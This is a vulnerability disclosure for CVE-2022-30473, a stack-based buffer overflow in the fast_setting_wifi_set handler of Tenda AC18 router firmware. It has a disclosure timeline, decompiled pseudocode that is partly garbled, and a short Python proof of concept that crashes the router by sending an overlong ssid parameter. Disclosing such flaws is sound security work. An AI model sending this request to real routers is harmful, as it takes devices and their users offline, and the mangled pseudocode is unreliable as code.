

This vulnerability lies in the /goform/fast_setting_wifi_set page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))

Vulnerability Description

There is a **stack-based buffer overflow** vulnerability in function form_fast_setting_wifi_set .

In function <code>form_fast_setting_wifi_set</code> it reads user provided parameter <code>ssid</code> into <code>src</code>, and this variable is passed into function <code>strcpy</code> without any length check, which may overflow the stack-based buffer <code>s</code>.

```
11
    char v11[64]; // [sp+180h] [bp-FCh] BYREF
    char dest[64]; // [sp+1C0h] [bp-BCh] BYREF
12
13
    char s[64]; // [sp+200h] [bp-7Ch] BYREF
14
    char v14[12]; // [sp+240h] [bp-3Ch] BYREF
15
    int v15; // [sp+24Ch] [bp-30h] BYREF
     BYTE *v16; // [sp+250h] [bp-2Ch]
16
17
    char *s2; // [sp+254h] [bp-28h]
    char *s1; // [sp+258h] [bp-24h]
18
19
     BYTE *v19; // [sp+25Ch] [bp-20h]
20
    char *src; // [sp+260h] [bp-1Ch]
    int v21; // [sp+264h] [bp-18h]
21
    int i; // [sp+268h] [bp-14h]
22
23
    int v23; // [sp+26Ch] [bp-10h]
24
25
    v15 = 0;
26
    memset(s, 0, sizeof(s));
27
    memset(dest, 0, sizeof(dest));
28
    memset(v11, 0, sizeof(v11));
29
    v23 = 1;
30
    memset(&v10[16], 0, 56);
                                  "ssid",
                                           (int)&unk E35DC);
31
    src = (char *)websgetvar(a1,
32
    if ( *src )
33
34
      strcpy(s, src);
35
      stropy(dest,
      v19 = websgetvar(a1, "wrlPassword", (int)&unk_E35DC);
36
      SetValue("wl2g.ssid0.ssid", s);
37
      strcat(dest, "_5G");
38
39
      SetValue("wl5g.ssid0.ssid", dest);
```

So by requesting the page <code>/goform/fast_setting_wifi_set</code> , the attacker can easily perform a <code>Deny of Service Attack</code>.

PoC

```
import requests

IP = "10.10.10.1"

url = f"http://{IP}/goform/fast_setting_wifi_set?"

url += "ssid=" + "s" * 100

response = requests.get(url)
```

Timeline

- 2022-05-06: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30473)
- 2022-06-05: CNVD ID assigned (CNVD-2022-43197)

Acknowledge

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